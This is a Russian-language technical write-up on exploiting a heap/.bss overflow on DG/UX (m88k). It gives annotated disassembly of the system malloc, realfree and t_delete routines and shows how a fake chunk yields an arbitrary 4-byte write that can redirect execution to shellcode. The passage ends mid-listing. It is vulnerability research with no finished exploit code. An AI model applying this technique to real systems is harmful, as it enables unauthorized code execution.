_ _:. :$$$$$ _ . - +. :l$││$$ s┐┐,,_ +:@QSSS$$$$$ `` $$$$$$$$bs┐.`"┘?$$$l [ DGUX Heap Overflow ] '└└?$$│$$$$b┐_ . [ hirezia ] `"└$│$b. . `└?b. `. `┘. + `$ _. ` В данной статье описывается практическая реализация использования переполнения heapa на системе DGUX. Начнем с общего экскурса по необходимым нам инструкциям m88k. Все инструкции 4 байта. Все константы big-endian Регистры r0 - 0 r1 - адрес возврата из функции r2-r5 - входные параметры функции r6-r7 - just for fun r9 - номер сискала r10-r24 - just for fun r25 - в shared libraries .got таблица r26-r29 - just for fun r30 - base pointer r31 - stack pointer Инструкции ld r2,0x001038cc <- загрузить в регистр r2 ,данные по адресу 0x001038cc st r2,0x001038cc <- сохранить регистр r2 по адресу 0x001038cc bsr.n <- вызов функции с выполнением следующей за этой инструкцией. в r1 - адрес адрес инструкции + 0x08 bsr <- вызов без выполнения следещей за этой инструкцией в r1 - адрес инcтрукции + 0x04 br <- безусловный переход br.n <- безусловный переход с выполнением следующей за этой инструкцией subu r30,r31,0x50 <- r30=r31 - 0x50 addu r30,r31,0x50 <- r30=r31 + 0x50 bcnd.n eq0,r13, <- условный переход с выполнением следующей за этой инструкцией. eq0 - равенство нулю. за другими префиксами этой функции обратитесь к исходникам gas. or.u r24,r0,0xabcd <- Загрузить 0xabcd в старшее слово в r24 младшее or r24,r0,0xabcd <- Загрузить 0xabcd в младшее слово ld r3,r22[r11] <- r3 = *(r22+r11) jmp r1 <- безусловный переход на r1 Рассмотрим кусок кода программы. ld r2,OUR VICTIM 1038cc: f4 76 16 0b ld r3,r22[r11] <-- Переменная задаваемая как часть аргумента к примеру ARGV[1] 1038d0: cf ff fc 76 bsr.n <-- HEAP OVERFLOW 1038d4: f4 40 58 19 or r2,r0,r25 Состояние регистров r2 -> 11EDEC - принадлежит .bss r3 -> 0xeffff513 -> 'AAAAAA...' r31 -> 0xeffff360 -> base pointer r22 -> 0xeffff4b0 -> argv r11 -> 0x00000001 -> номер аргумента. В нашем случае мы переполняем не сам heap а именно .bss - но огромной разницы для нас в этом нет так как: 1) Другие переменные в .bss счастливым образом не используются ( или может используются но не слишком сильно :) до момента вызова malloc. 2) Память которая нам нужна для организации фейкового чанка уже замаплена и нам ее хватит с головой. Теперь переходим к самому интересному - алгоритму распределения и очистки heap Начнем с malloc - самое главное достоинство этой функции это наличие возможности дебага маллоков при помощи хуков, что будет потом использовано для выполнения кода. Для начала хотел бы обратить ваше внимание на кусок кода 0x8005f930-0x8005f938 В регистр $r25 записывается адрес таблицы глобальных переменных следующим образом: bsr.n - вызов функции, а в нашем случае просто прыжок на след. команду в $r1 записывается текущее eip. Постфикс .n - означает, что cлед. Команда за прыжком также будет выполнятся. or r25,r25,0xbd40 - запись в регистр $r25 значения 0xbd40 addu r25,r25,r1 - фактически прибавляем к значению eip нашу константу 0xbd40 - и таким образом при правильном выборе данной константы (выбором естественно занимается компилятор), в $r25 мы получаем значение .got таблицы, что позволяет в дальнейшем всей нашей shared library успешно оперировать своими внутренними данными.Такой трюк очень хорош для написания длинных шеллкодов. В дальнейшем не было замечено,чтобы $r25 вообще изменялся в функциях библиотек, поэтому почти со 100% уверенностью можно при дальнейшем анализе функций считать $r25 равным .got. ---------------------------------------------------------- begin of malloc.S $r25 = 0x800ab678 $r25,0x24 = ADRESS FLAGA PRE HUKA $r25,0x28 + 0x20 - входящая переменная в huk ($r25,0x24)+0x08 = ADRESS FLAGA POST HUKA 0x8005f920 : subu r31,r31,0x50 0x8005f924 : st.d r24,r31,0x28 0x8005f928 : or.u r25,r0,0x04 0x8005f92c : st r1,r31,0x30 0x8005f930 : bsr.n 0x8005f934 : or r25,r25,0xbd40 0x8005f938 : addu r25,r25,r1 if (hooked) else 0x8005f93c : ld r13,r25,0x24 0x8005f940 : ld r13,r0,r13 0x8005f944 : bcnd.n eq0,r13, 0x8005f948 : or r24,r0,r2 0x8005f94c : ld r2,r25,0x28 0x8005f950 : jsr.n r13 !!!!!!!!!!!!!! 0x8005f954 : addu r2,r2,0x20 0x8005f958 : bcnd eq0,r2, 0x8005f95c : bsr.n <__sev_sh_lib_err> 0x8005f960 : ld r2,r25,0x2c 0x8005f964 : bsr.n <__dg_malloc_unlocked> 0x8005f968 : or r2,r0,r24 0x8005f96c : ld r13,r25,0x24 0x8005f970 : ld r13,r13,0x08 0x8005f974 : bcnd.n eq0,r13, 0x8005f978 : or r24,r0,r2 0x8005f97c : ld r2,r25,0x28 0x8005f980 : jsr.n r13 !!!!!!!!!!!!!!! 0x8005f984 :addu r2,r2,0x20 0x8005f988 :bcnd eq0,r2, 0x8005f98c :bsr.n <__sev_sh_lib_err> 0x8005f990 :ld r2,r25,0x30 0x8005f994 :ld r1,r31,0x30 0x8005f998 :or r2,r0,r24 0x8005f99c :ld.d r24,r31,0x28 0x8005f9a0 :jmp.n r1 0x8005f9a4 :addu r31,r31,0x50 ---------------------------------------------------------- end of malloc.S Вообщем malloc не делает ничего особо интересного как мы видим - поэтому идем дальше в __dg_malloc_unlocked. Вот тут уже интереснее. Скажу сразу эта функция и есть сердце DGUXOвских маллоков. Она все и делает (очищает память(то что нам надо) и добавляет ее). free - только помечает чанк как уже не нужный, а вот именно эта функция и работает со списком чанков. Оставлю любознательным анализировать все возможные и не возможные переходы в этой функции и скажу сразу, что чтобы добиться цели всего переполнения, а именно перезаписи любых 4 байтов любыми четырьмя байтами, нам надо начать очистку старых чанков. А добровольно это сделает __dg_malloc_unlocked. Ну или придется ей помочь, уже не важно. Вот вольная интерпретация действий данной функции. Следует отметить сразу, что алгоритм используемый при распределении памяти очень сильно сходится с 'System V AT&T' описанным в http://phrack.org/phrack/57/p57-0x09. Тот ли именно это алгоритм или его модификация история умалчивает. Но могу сказать, что Cи вставки в этой статье (кусков функций описанных ниже) очень помогли для их анализа. > (r25,0x444) если по адресу этой переменной 0 (при первом mallocе 0) идем в самый конец > вызываем cleanfree (см ниже) > дальше проверяем если размер меньше ( 0x4F (79)) вызываем smalloc, иначе смотрим дальше. >__dg_malloc_unlocked - dlia bolshih stranic > r25,0x450 - 0x800ad4a8 - tam 0 pri pervom prohode > r25,0x454 - 0x800ad4ac - tam 0 pri pervom prohode > вызываем _morecore -> dobrk :) + пометка флагов > размер замапленной памяти - *morecore > вычищаем служебную информацию + начало чанка = размер и по смещению 0x10 обнуляем второй бит (флаг) > вычисляем размер оствашейся после нашего чанка в памяти замапленной _morecore (она выделяет по 4k) и сравниваем его с 0x5f (header + 0x4f). Если больше то записываем размер нашего чанка в начало > помечаем следущий чанк, что он готов > вычисляем где будет заголовок нашего (не путать с чанком ради которого вызывался маллок) чанка. > (nachalo + (4k - нам нужный размер) - 10) - и пишем туда размер > потом чистим этот чанк > realfree ----------------------------------------------- begin of __dg_malloc_unlocked.S (r25,0x444) если по адресу этой переменной 0 (при первом mallocе 0) идем в самый конец 0x8005faf0 <_func>: subu r31,r31,0x50 0x8005faf4 <_func+4>: st.d r24,r31,0x38 0x8005faf8 <_func+8>: or.u r25,r0,0x04 0x8005fafc <_func+12>: st.d r22,r31,0x30 0x8005fb00 <_func+16>: or r22,r0,r2 0x8005fb04 <_func+20>: st r1,r31,0x40 0x8005fb08 <_func+24>: bsr.n <_func+32> 0x8005fb0c <_func+28>: or r25,r25,0xbb68 r25 = 0x0004bb68 0x8005fb10 <_func+32>: st.d r20,r31,0x28 if (razmer<0) nahuy 0x8005fb14 <_func+36>: bcnd.n lt0,r22, <_func+436> 0x8005fb18 <_func+40>: addu r25,r25,r1 <- EBANUTAYA FICHA if (razmer kraten 16) 0x8005fb1c <_func+44>: mask r12,r22,0x0f 0x8005fb20 <_func+48>: bcnd.n eq0,r12, <_func+60> 0x8005fb24 <_func+52>: addu r13,r22,0x10 ;razmer+0x10 0x8005fb28 <_func+56>: subu r22,r13,r12 -> okruglit do 16 0x8005fb2c <_func+60>: ld r9,r25,0x444 -> ssilka kakayato r9 0x800ad4b4 0x8005fb30 <_func+64>: ld r2,r0,r9 -> prochitali to chto tam esli eta huynia == 0 goto hz kuda 0x8005fb34 <_func+68>: bcnd.n eq0,r2, <_func+200> 0x8005fb38 <_func+72>: subu r23,r2,0x10 0x8005fb3c <_func+76>: tb1 0x01,r0,0xff 0x8005fb40 <_func+80>: ld r10,r0,r23 0x8005fb44 <_func+84>: and r10,r10,0xfffc 0x8005fb48 <_func+88>: cmp r12,r10,r22 0x8005fb4c <_func+92>: bb1.n 0x03,r12, <_func+136> 0x8005fb50 <_func+96>: cmp r13,r22,0x4f 0x8005fb54 <_func+100>: ld r13,r25,0x448 0x8005fb58 <_func+104>: ld r12,r0,r13 0x8005fb5c <_func+108>: ld r11,r25,0x44c 0x8005fb60 <_func+112>: addu r12,r12,0x1f 0x8005fb64 <_func+116>: st r0,r0,r9 0x8005fb68 <_func+120>: mask r12,r12,0x1f 0x8005fb6c <_func+124>: st r12,r0,r13 0x8005fb70 <_func+128>: br.n <_func+592> 0x8005fb74 <_func+132>: st r0,r11[r12] 0x8005fb78 <_func+136>: and r13,r13,r12 0x8005fb7c <_func+140>: extu r13,r13,1<8> 0x8005fb80 <_func+144>: bcnd eq0,r13, <_func+200> 0x8005fb84 <_func+148>: ld r12,r25,0x448 0x8005fb88 <_func+152>: ld r13,r0,r12 0x8005fb8c <_func+156>: ld r11,r25,0x44c 0x8005fb90 <_func+160>: addu r13,r13,0x1f 0x8005fb94 <_func+164>: st r0,r0,r9 0x8005fb98 <_func+168>: mask r13,r13,0x1f 0x8005fb9c <_func+172>: st r13,r0,r12 0x8005fba0 <_func+176>: st r0,r11[r13] 0x8005fba4 <_func+180>: tb1 0x01,r0,0xff 0x8005fba8 <_func+184>: ld r13,r0,r23 0x8005fbac <_func+188>: st r10,r0,r23 0x8005fbb0 <_func+192>: br.n <_func+468> 0x8005fbb4 <_func+196>: mask r20,r13,0x02 0x8005fbb8 <_func+200>: bsr.n 0x8005fbbc <_func+204>: or r2,r0,0 0x8005fbc0 <_func+208>: cmp r13,r22,0x4f 0x8005fbc4 <_func+212>: bb0.n 0x09,r13, <_func+232> 0x8005fbc8 <_func+216>: or r20,r0,0 0x8005fbcc <_func+220>: or r2,r0,r22 0x8005fbd0 <_func+224>: bsr.n <_smalloc> 0x8005fbd4 <_func+228>: addu r1,r1,0x168 0x8005fbd8 <_func+232>: ld r13,r25,0x450 0x8005fbdc <_func+236>: ld r2,r0,r13 0x8005fbe0 <_func+240>: or r23,r0,0 0x8005fbe4 <_func+244>: bcnd.n eq0,r2, <_func+384> 0x8005fbe8 <_func+248>: or r10,r0,0 0x8005fbec <_func+252>: or r24,r0,r2 0x8005fbf0 <_func+256>: tb1 0x01,r0,0xff 0x8005fbf4 <_func+260>: ld r13,r0,r24 0x8005fbf8 <_func+264>: cmp r13,r13,r22 0x8005fbfc <_func+268>: bb1 0x0a,r13, <_func+320> 0x8005fc00 <_func+272>: bcnd eq0,r10, <_func+288> 0x8005fc04 <_func+276>: ld r13,r0,r24 0x8005fc08 <_func+280>: cmp r13,r10,r13 0x8005fc0c <_func+284>: bb1 0x0a,r13, <_func+300> 0x8005fc10 <_func+288>: or r23,r0,r24 0x8005fc14 <_func+292>: tb1 0x01,r0,0xff 0x8005fc18 <_func+296>: ld r10,r0,r24 0x8005fc1c <_func+300>: tb1 0x01,r0,0xff 0x8005fc20 <_func+304>: ld r13,r24,0x20 0x8005fc24 <_func+308>: bcnd eq0,r13, <_func+340> 0x8005fc28 <_func+312>: ld r24,r24,0x20 0x8005fc2c <_func+316>: br <_func+256> 0x8005fc30 <_func+320>: tb1 0x01,r0,0xff 0x8005fc34 <_func+324>: ld r13,r24,0x30 0x8005fc38 <_func+328>: bcnd eq0,r13, <_func+340> 0x8005fc3c <_func+332>: ld r24,r24,0x30 0x8005fc40 <_func+336>: br <_func+256> 0x8005fc44 <_func+340>: bcnd.n eq0,r23, <_func+356> 0x8005fc48 <_func+344>: or r2,r0,r23 0x8005fc4c <_func+348>: bsr.n 0x8005fc50 <_func+352>: addu r1,r1,0x1c 0x8005fc54 <_func+356>: ld r21,r25,0x450 0x8005fc58 <_func+360>: ld r13,r0,r21 0x8005fc5c <_func+364>: cmp r13,r24,r13 0x8005fc60 <_func+368>: bb0 0x03,r13, <_func+384> 0x8005fc64 <_func+372>: bsr.n 0x8005fc68 <_func+376>: or r2,r0,r24 0x8005fc6c <_func+380>: st r24,r0,r21 0x8005fc70 <_func+384>: bcnd ne0,r23, <_func+444> 0x8005fc74 <_func+388>: ld r13,r25,0x454 0x8005fc78 <_func+392>: ld r2,r0,r13 0x8005fc7c <_func+396>: bcnd eq0,r2, <_func+420> 0x8005fc80 <_func+400>: tb1 0x01,r0,0xff 0x8005fc84 <_func+404>: ld r13,r0,r2 0x8005fc88 <_func+408>: cmp r13,r22,r13 0x8005fc8c <_func+412>: bb1.n 0x09,r13, <_func+444> 0x8005fc90 <_func+416>: or r23,r0,r2 0x8005fc94 <_func+420>: bsr.n <_morecore> 0x8005fc98 <_func+424>: or r2,r0,r22 0x8005fc9c <_func+428>: or r23,r0,r2 0x8005fca0 <_func+432>: bcnd ne0,r23, <_func+444> 0x8005fca4 <_func+436>: br.n <_func+592> 0x8005fca8 <_func+440>: or r2,r0,0 0x8005fcac <_func+444>: tb1 0x01,r0,0xff 0x8005fcb0 <_func+448>: ld r12,r0,r23 0x8005fcb4 <_func+452>: addu r12,r23,r12 0x8005fcb8 <_func+456>: ld r13,r12,0x10 0x8005fcbc <_func+460>: and r13,r13,0xfffd 0x8005fcc0 <_func+464>: st r13,r12,0x10 0x8005fcc4 <_func+468>: tb1 0x01,r0,0xff 0x8005fcc8 <_func+472>: ld r13,r0,r23 0x8005fccc <_func+476>: subu r10,r13,r22 0x8005fcd0 <_func+480>: cmp r13,r10,0x5f 0x8005fcd4 <_func+484>: bb1 0x09,r13, <_func+528> 0x8005fcd8 <_func+488>: st r22,r0,r23 0x8005fcdc <_func+492>: tb1 0x01,r0,0xff 0x8005fce0 <_func+496>: ld r13,r0,r23 0x8005fce4 <_func+500>: subu r10,r10,0x10 0x8005fce8 <_func+504>: addu r13,r23,r13 0x8005fcec <_func+508>: or r12,r10,0x01 0x8005fcf0 <_func+512>: addu r2,r13,0x20 0x8005fcf4 <_func+516>: st r12,r13,0x10 0x8005fcf8 <_func+520>: bsr.n 0x8005fcfc <_func+524>: addu r1,r1,0x28 0x8005fd00 <_func+528>: tb1 0x01,r0,0xff 0x8005fd04 <_func+532>: ld r13,r0,r23 0x8005fd08 <_func+536>: ld r12,r25,0x458 0x8005fd0c <_func+540>: addu r13,r13,r23 0x8005fd10 <_func+544>: ld r12,r0,r12 0x8005fd14 <_func+548>: addu r13,r13,0x20 0x8005fd18 <_func+552>: cmp r13,r13,r12 0x8005fd1c <_func+556>: bb1 0x03,r13, <_func+568> 0x8005fd20 <_func+560>: ld r13,r25,0x454 0x8005fd24 <_func+564>: st r0,r0,r13 0x8005fd28 <_func+568>: tb1 0x01,r0,0xff 0x8005fd2c <_func+572>: ld r13,r0,r23 0x8005fd30 <_func+576>: or r13,r13,0x01 0x8005fd34 <_func+580>: addu r2,r23,0x10 0x8005fd38 <_func+584>: or r13,r13,r20 0x8005fd3c <_func+588>: st r13,r0,r23 0x8005fd40 <_func+592>: ld r1,r31,0x40 0x8005fd44 <_func+596>: ld.d r24,r31,0x38 0x8005fd48 <_func+600>: ld.d r22,r31,0x30 0x8005fd4c <_func+604>: ld.d r20,r31,0x28 0x8005fd50 <_func+608>: jmp.n r1 0x8005fd54 <_func+612>: addu r31,r31,0x50 ------------------------------------------------- end of __dg_malloc_unlocked.S Пришло самое время разобраться, как же все-таки в данном алгоритме создаются чанки и какой страшный философский смысл таится в этом слове для DGUXOVSKIH mallocов. Сhank header занимает как минимум 0x10 байт - возможны и другие варианты когда чанки вкладываются в друг друга (это выражение достаточно спорно, так как еще в первом классе мы учили, что чанки вкладываться не могут, но это уж другая история). chunk_header = mem_pointer - 0x10 ----------------------------------------------------------- средний чанк Длина | | | Флаги| | 6 bit | 2bit | 8 bit |8 bit |8 bit | 0000000010 0000000000 0000000000 0000000000 <- header AAAAAAAAAA AAAAAAAAAA AAAAAAAAAA AAAAAAAAAA <- data ----------------------------------------------------------- Длинна чанка всегда кратна 4, поэтому 2 бита, длинны, могут использоваться для служебной информации. Чанки можно разбить на 3 вида, для которых алгоритмы распределения принципиально различаются. 1) Маленькие - меньше 0x4F (почему именно _это_ число, видно из описания функции выше) 2) Средние - больше 0x4F,но меньше 4k- это чанки для которых,в случае нехватки места, все равно замапливается 4k, а остальное место отдается под маленькие чанки которые тут же кстати и создаются. 3) Большие - чанки для которых сразу замапливается больше 4k. Чудесным образом в нашей программе первый маллок после переполнения был 0x400 байт - как видно это самый, что ни наесть средний чанк, поэтому систему организации именно их мы и будем рассматривать. Такие чанки представляют собой двухсвязный список. Как видно __dg_malloc_unlocked для создания чанка вызывает еще cleanfree - для очистки всех неиспользуемых чанков. Это wraper для realfree. ---------------------------------------------------------- begin of cleanfree.S x80060928 : subu r31,r31,0x40 0x8006092c : st.d r24,r31,0x28 0x80060930 : or.u r25,r0,0x04 0x80060934 : st r1,r31,0x30 0x80060938 : bsr.n 0x8006093c : or r25,r25,0xad38 0x80060940 : st.d r22,r31,0x20 0x80060944 : addu r25,r25,r1 0x80060948 : ld r13,r25,0x448 0x8006094c : ld r12,r25,0x44c 0x800ad4b8 0x80060950 : ld r13,r0,r13 0 0x80060954 : or r23,r0,r12 0x80060958 : or r22,r0,r2 0x8006095c : lda r24,r23[r13] ?????? 0x80060960 : cmp r13,r24,r23 0x80060964 : bb1 0x03,r13, 0x80060968 : addu r24,r24,0x80 0x8006096c : subu r24,r24,0x04 0x80060970 : ld r2,r0,r24 0x80060974 : bcnd.n eq0,r2, 0x80060978 : cmp r13,r2,r22 0x8006097c : bb0 0x03,r13, 0x80060980 : bsr 0x80060984 : br.n 0x80060988 : st r0,r0,r24 0x8006098c : ld r13,r25,0x448 0x80060990 : ld r12,r25,0x444 0x80060994 : st r0,r0,r13 0x80060998 : st r0,r0,r12 0x8006099c : ld r1,r31,0x30 0x800609a0 : ld.d r24,r31,0x28 0x800609a4 : ld.d r22,r31,0x20 0x800609a8 : jmp.n r1 0x800609ac : addu r31,r31,0x40 ----------------------------------------------------------- end of cleanfree.S Задача realfree пройтись по этому двухсвязному списку и выкинуть из него (t_delete) уже удаленные чанки. realfree > берем размер чанка - r2-0x10 > выравниваем его do %4 > проверяем его на 0x4f > смотрим что там со след чанком > если чанк на данный момент последний в нашей схеме, то делаем след. действия иначе t_delete > чанка i zapisana edenichka > помечаем *(chank_head+0x40) = 0 > помечаем *(chank_head+0x30) = 0 > помечаем *(chank_head+0x20) = 0 > помечаем *(chank_head+0x10) = 0 > загружаем по адресу следующего чанка его значение > далее > r25,0x458 - 0x800ad4b0 - 0 > r25,0x454 - по этому адресу записываем конец очищаемого чанка > ставим на чанк 10 ----------------------------------------------------------- begin of realfree.S 0x800600f0 : subu r31,r31,0x50 0x800600f4 : st r1,r31,0x40 0x800600f8 : st.d r24,r31,0x38 0x800600fc : or.u r25,r0,0x04 0x80060100 : st.d r22,r31,0x30 0x80060104 : subu r23,r2,0x10 0x80060108 : st r21,r31,0x2c 0x8006010c : bsr.n 0x80060110 : or r25,r25,0xb564 0x80060114 : tb1 0x01,r0,0xff 0x80060118 : ld r21,r0,r23 0x8006011c : bb0.n 0,r21, 0x80060120 : addu r25,r25,r1 0x80060124 : ld r13,r0,r23 0x80060128 : and r13,r13,0xfffc 0x8006012c : st r13,r0,r23 0x80060130 : tb1 0x01,r0,0xff 0x80060134 : ld r13,r0,r23 0x80060138 : cmp r13,r13,0x4f 0x8006013c : bb0 0x09,r13, 0x80060140 : ld r13,r0,r23 0x80060144 : extu r13,r13,0<4> 0x80060148 : ld r12,r25,0x440 0x8006014c : subu r21,r13,0x01 0x80060150 : ld r13,r12[r21] 0x80060154 : st r13,r0,r2 0x80060158 : br.n 0x8006015c : st r23,r12[r21] 0x80060160 : tb1 0x01,r0,0xff 0x80060164 : ld r13,r0,r23 0x80060168 : addu r22,r23,r13 0x8006016c : ld r13,r22,0x10 0x80060170 : bb1.n 0,r13, 0x80060174 : addu r24,r22,0x10 0x80060178 : ld r13,r25,0x454 0x8006017c : ld r13,r0,r13 0x80060180 : cmp r13,r24,r13 0x80060184 : bb0 0x03,r13, 0x80060188 : bsr.n 0x8006018c : or r2,r0,r24 0x80060190 : tb1 0x01,r0,0xff 0x80060194 : ld r13,r0,r23 0x80060198 : ld r12,r22,0x10 0x8006019c : addu r13,r13,0x10 0x800601a0 : addu r13,r13,r12 0x800601a4 : st r13,r0,r23 0x800601a8 : bb0.n 0x01,r21, 0x800601ac : subu r13,r0,0x10 0x800601b0 : ld r24,r23,r13 0x800601b4 : bsr.n 0x800601b8 : or r2,r0,r24 0x800601bc : tb1 0x01,r0,0xff 0x800601c0 : ld r13,r0,r24 0x800601c4 : ld r12,r0,r23 0x800601c8 : addu r13,r13,0x10 0x800601cc : or r23,r0,r24 0x800601d0 : addu r13,r13,r12 0x800601d4 : st r13,r0,r23 0x800601d8 : st r0,r23,0x40 0x800601dc : tb1 0x01,r0,0xff 0x800601e0 : ld r13,r23,0x40 0x800601e4 : st r13,r23,0x30 0x800601e8 : tb1 0x01,r0,0xff 0x800601ec : ld r13,r23,0x30 0x800601f0 : st r13,r23,0x20 0x800601f4 : tb1 0x01,r0,0xff 0x800601f8 : ld r13,r23,0x20 0x800601fc : st r13,r23,0x10 0x80060200 : tb1 0x01,r0,0xff 0x80060204 : ld r13,r0,r23 0x80060208 : st r23,r23,r13 0x8006020c : ld r13,r0,r23 0x80060210 : ld r12,r25,0x458 0x80060214 : addu r13,r13,r23 0x80060218 : ld r12,r0,r12 0x8006021c : addu r13,r13,0x20 0x80060220 : cmp r13,r13,r12 0x80060224 : bb1 0x03,r13, 0x80060228 : ld r13,r25,0x454 0x8006022c : br.n 0x80060230 : st r23,r0,r13 0x80060234 : ld r13,r25,0x450 0x80060238 : ld r2,r0,r13 0x8006023c : bcnd eq0,r2, 0x80060240 : tb1 0x01,r0,0xff 0x80060244 : ld r12,r0,r23 0x80060248 : or r24,r0,r2 0x8006024c : or r11,r0,r13 0x80060250 : subu r10,r0,0x01 0x80060254 : tb1 0x01,r0,0xff 0x80060258 : ld r13,r0,r24 0x8006025c : cmp r13,r13,r12 0x80060260 : bb1 0x09,r13, 0x80060264 : ld r13,r24,0x20 0x80060268 : bcnd eq0,r13, 0x8006026c : ld r24,r24,0x20 0x80060270 : br 0x80060274 : st r23,r24,0x20 0x80060278 : st r24,r23,0x10 0x8006027c : br 0x80060280 : tb1 0x01,r0,0xff 0x80060284 : ld r13,r0,r24 0x80060288 : cmp r13,r13,r12 0x8006028c : bb0 0x0a,r13, 0x80060290 : ld r13,r24,0x30 0x80060294 : bcnd eq0,r13, 0x80060298 : ld r24,r24,0x30 0x8006029c : br 0x800602a0 : st r23,r24,0x30 0x800602a4 : st r24,r23,0x10 0x800602a8 : br 0x800602ac : tb1 0x01,r0,0xff 0x800602b0 : ld r12,r24,0x10 0x800602b4 : bcnd eq0,r12, 0x800602b8 : ld r13,r12,0x20 0x800602bc : cmp r13,r24,r13 0x800602c0 : bb1 0x03,r13, 0x800602c4 : st r23,r12,0x20 0x800602c8 : br 0x800602cc : st r23,r12,0x30 0x800602d0 : st r12,r23,0x10 0x800602d4 : br 0x800602d8 : st r23,r0,r11 0x800602dc : tb1 0x01,r0,0xff 0x800602e0 : ld r12,r24,0x20 0x800602e4 : bcnd eq0,r12, 0x800602e8 : st r23,r12,0x10 0x800602ec : st r12,r23,0x20 0x800602f0 : tb1 0x01,r0,0xff 0x800602f4 : ld r12,r24,0x30 0x800602f8 : bcnd eq0,r12, 0x800602fc : st r23,r12,0x10 0x80060300 : st r12,r23,0x30 0x80060304 : st r24,r23,0x40 0x80060308 : st r23,r24,0x10 0x8006030c : st r10,r24,0x20 0x80060310 : br 0x80060314 : st r23,r0,r13 0x80060318 : tb1 0x01,r0,0xff 0x8006031c : ld r12,r0,r23 0x80060320 : addu r12,r23,r12 0x80060324 : ld r13,r12,0x10 0x80060328 : or r13,r13,0x02 0x8006032c : st r13,r12,0x10 0x80060330 : ld r1,r31,0x40 0x80060334 : ld r21,r31,0x2c 0x80060338 : ld.d r24,r31,0x38 0x8006033c : ld.d r22,r31,0x30 0x80060340 : jmp.n r1 0x80060344 : addu r31,r31,0x50 ----------------------------------------------------------- end of realfree.S Ну вот мы и добрались к сути - t_delete. Обратите внимание на строки 0x800604c0 - 0x800604d4. $r24 = $r2 = адресу чанка т.е. контролируемой нами памяти. т.е. мы пишем по адресу *(*(chank+0x10)+0x40)=*(chank+0x10). Единственное, что омрачает ситуацию это то, что пишем мы еще и по адресу 0x40. Т.е. нам надо либо шеллкод вложить в 16 команд, либо попрыгать немного в шеллкоде. Мы пойдем вторым путем по 2 причинам: 1) - 16 байт все-таки оказалось достаточно, но мало ли что понадобится в дальнейшем. 2) - прыгать мы будем по стеку - т.е. смещение будет зависеть от кучи входных факторов (таких как переменные окружения и длина командной строки), а стандартными nop-ами эту проблему не решить, т.к. впереди по смещению 0x40 нас будет ждать Illegal Instruction. ----------------------------------------------------------- begin of t_delete.S 0x80060490 : subu r31,r31,0x40 0x80060494 : st r1,r31,0x30 0x80060498 : st.d r24,r31,0x28 0x8006049c : or r24,r0,r2 0x800604a0 : or.u r25,r0,0x04 0x800604a4 : tb1 0x01,r0,0xff 0x800604a8 : ld r13,r24,0x20 0x800604ac : bsr.n 0x800604b0 : or r25,r25,0xb1c4 0x800604b4 : addu r13,r13,0x01 0x800604b8 : bcnd.n ne0,r13, 0x800604bc : addu r25,r25,r1 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 0x800604c0 : ld r10,r24,0x10 0x800604c4 : ld r12,r24,0x40 0x800604c8 : bcnd eq0,r12, 0x800604cc : st r10,r12,0x10 0x800604d0 : st r12,r10,0x40 0x800604d4 : br !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 0x800604d8 : tb1 0x01,r0,0xff 0x800604dc : ld r13,r24,0x10 0x800604e0 : bcnd eq0,r13, 0x800604e4 : bsr.n 0x800604e8 : or r2,r0,r24 0x800604ec : tb1 0x01,r0,0xff 0x800604f0 : ld r10,r24,0x40 0x800604f4 : bcnd eq0,r10, 0x800604f8 : st r0,r10,0x10 0x800604fc : tb1 0x01,r0,0xff 0x80060500 : ld r12,r24,0x20 0x80060504 : bcnd eq0,r12, 0x80060508 : st r10,r12,0x10 0x8006050c : st r12,r10,0x20 0x80060510 : tb1 0x01,r0,0xff 0x80060514 : ld r12,r24,0x30 0x80060518 : bcnd eq0,r12, 0x8006051c : st r10,r12,0x10 0x80060520 : ld r13,r25,0x450 0x80060524 : st r12,r10,0x30 0x80060528 : br.n 0x8006052c : st r10,r0,r13 0x80060530 : tb1 0x01,r0,0xff 0x80060534 : ld r10,r24,0x20 0x80060538 : bcnd eq0,r10, 0x8006053c : st r0,r10,0x10 0x80060540 : tb1 0x01,r0,0xff 0x80060544 : ld r13,r24,0x30 0x80060548 : bcnd eq0,r13, 0x8006054c : tb1 0x01,r0,0xff 0x80060550 : ld r12,r10,0x30 0x80060554 : bcnd eq0,r12, 0x80060558 : ld r11,r12,0x30 0x8006055c : bcnd eq0,r11, 0x80060560 : ld r13,r11,0x20 0x80060564 : st r13,r12,0x30 0x80060568 : tb1 0x01,r0,0xff 0x8006056c : ld r13,r12,0x30 0x80060570 : bcnd eq0,r13, 0x80060574 : ld r13,r12,0x30 0x80060578 : st r12,r13,0x10 0x8006057c : tb1 0x01,r0,0xff 0x80060580 : ld r13,r10,0x10 0x80060584 : st r13,r11,0x10 0x80060588 : tb1 0x01,r0,0xff 0x8006058c : ld r13,r11,0x10 0x80060590 : bcnd eq0,r13, 0x80060594 : ld r13,r10,0x10 0x80060598 : ld r13,r13,0x20 0x8006059c : cmp r13,r13,r10 0x800605a0 : bb1 0x03,r13, 0x800605a4 : ld r13,r11,0x10 0x800605a8 : st r11,r13,0x20 0x800605ac : br 0x800605b0 : tb1 0x01,r0,0xff 0x800605b4 : ld r13,r11,0x10 0x800605b8 : st r11,r13,0x30 0x800605bc : st r11,r10,0x10 0x800605c0 : st r10,r11,0x20 0x800605c4 : br.n 0x800605c8 : or r10,r0,r11 0x800605cc : tb1 0x01,r0,0xff 0x800605d0 : ld r13,r12,0x20 0x800605d4 : st r13,r10,0x30 0x800605d8 : tb1 0x01,r0,0xff 0x800605dc : ld r13,r10,0x30 0x800605e0 : bcnd eq0,r13, 0x800605e4 : ld r13,r10,0x30 0x800605e8 : st r10,r13,0x10 0x800605ec : tb1 0x01,r0,0xff 0x800605f0 : ld r13,r10,0x10 0x800605f4 : st r13,r12,0x10 0x800605f8 : tb1 0x01,r0,0xff 0x800605fc : ld r13,r12,0x10 0x80060600 : bcnd eq0,r13, 0x80060604 : ld r13,r10,0x10 0x80060608 : ld r13,r13,0x20 0x8006060c : cmp r13,r13,r10 0x80060610 : bb1 0x03,r13, 0x80060614 : ld r13,r12,0x10 0x80060618 : st r12,r13,0x20 0x8006061c : br 0x80060620 : tb1 0x01,r0,0xff 0x80060624 : ld r13,r12,0x10 0x80060628 : st r12,r13,0x30 0x8006062c : st r10,r12,0x20 0x80060630 : st r12,r10,0x10 0x80060634 : br.n 0x80060638 : or r10,r0,r12 0x8006063c : tb1 0x01,r0,0xff 0x80060640 : ld r13,r24,0x30 0x80060644 : st r13,r10,0x30 0x80060648 : tb1 0x01,r0,0xff 